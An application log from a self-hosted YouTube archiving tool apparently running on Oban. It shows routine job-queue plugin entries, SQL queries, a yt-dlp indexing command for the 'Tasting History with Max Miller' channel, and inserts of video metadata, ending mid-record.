{"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:44.948 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.670 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:31:14.949 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:44.950 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 02:32:00.671 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:32:14.952 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:44.954 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.672 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:33:14.955 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:44.956 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.673 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:34:14.958 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:44.959 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.674 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:35:14.960 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:44.961 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.675 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:36:14.962 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:44.963 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.676 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:37:14.964 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:44.965 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.677 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:38:14.966 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:44.967 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.678 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:39:14.968 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:44.968 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.679 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:40:14.970 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:44.971 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.680 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:41:14.972 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:44.973 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.681 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:42:14.974 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:44.975 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.682 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:43:14.976 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:44.977 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.683 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:44:14.978 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:44.979 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.684 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:45:14.980 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:44.981 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.685 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:46:14.982 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:44.983 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.686 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:47:14.984 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:44.985 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.687 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:48:14.986 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:44.988 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.688 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:49:14.989 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:44.990 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.689 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:50:14.991 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:44.992 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.690 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:51:06.712 [info] {"args":{"id":3},"id":1682,"meta":{},"system_time":1774767066711963512,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:51:06.712 [debug] QUERY OK source="sources" db=0.2ms idle=665.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:06.712 [debug] QUERY OK source="settings" db=0.2ms idle=666.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:06.732 [debug] QUERY OK source="media_items" db=19.6ms idle=666.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:51:06.733 [debug] QUERY OK source="media_items" db=0.3ms idle=39.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:51:06.733 [debug] QUERY OK source="media_profiles" db=0.1ms idle=21.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:06.734 [debug] QUERY OK source="settings" db=0.0ms idle=21.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:06.734 [debug] QUERY OK source="settings" db=0.0ms idle=21.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:06.735 [debug] QUERY OK source="media_items" db=1.1ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 02:51:07.063 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 02:51:07.064 [debug] Current batch of media processed. Will check again in 1000ms 02:51:07.064 [debug] QUERY OK source="settings" db=0.2ms idle=330.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:07.064 [debug] QUERY OK source="settings" db=0.1ms idle=330.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:07.064 [debug] QUERY OK source="settings" db=0.0ms idle=330.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:07.064 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/96/30/9630f556786d829a9f52e1d23c137672524a831455801a0bc8a85b9b1c80bf2f.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/95/b8/95b8fd968253bad1c777fc4294f10f7bd10daabcdae257effebe04084ff725c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:08.064 [debug] Current batch of media processed. Will check again in 1000ms 02:51:09.065 [debug] Current batch of media processed. Will check again in 1000ms 02:51:10.066 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", "id" => "_iGppK9by3Y", "original_url" => "https://www.youtube.com/watch?v=_iGppK9by3Y", "playlist_index" => 1, "title" => "The Brutal Life of a Medieval Butcher", "upload_date" => "20260324"} 02:51:10.067 [debug] QUERY OK source="sources" db=0.2ms idle=1020.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:10.067 [debug] QUERY OK source="sources" db=0.1ms idle=1020.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:10.069 [debug] QUERY OK source="media_items" db=1.3ms idle=1021.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 3] 02:51:10.070 [debug] QUERY OK source="media_items" db=1.0ms idle=372.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "5ea69d39-82dc-4347-8dbe-76d3fe2ef0e8", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, false, 1, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, false, 3, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-29 06:51:10Z], ~U[2026-03-29 06:51:10Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", nil, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, 3, ~U[2026-03-24 00:00:00Z]] 02:51:10.071 [debug] QUERY OK source="sources" db=0.1ms idle=24.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:10.071 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:10.072 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:10.072 [info] Kicking off download for media item #12546 (_iGppK9by3Y) 02:51:10.073 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1694, 12546, ~U[2026-03-29 06:51:10Z], ~U[2026-03-29 06:51:10Z]] 02:51:10.073 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", "id" => "9SvcDeiwXrc", "original_url" => "https://www.youtube.com/watch?v=9SvcDeiwXrc", "playlist_index" => 2, "title" => "Hardtack Hash from Steerage on a Victorian Ocean Liner", "upload_date" => "20260317"} 02:51:10.074 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:10.074 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:10.075 [debug] QUERY OK source="media_items" db=1.2ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 3] 02:51:10.122 [debug] QUERY OK source="media_items" db=45.9ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "fca902ad-aff1-4d2e-92c1-6e616a79178b", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, false, 2, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a 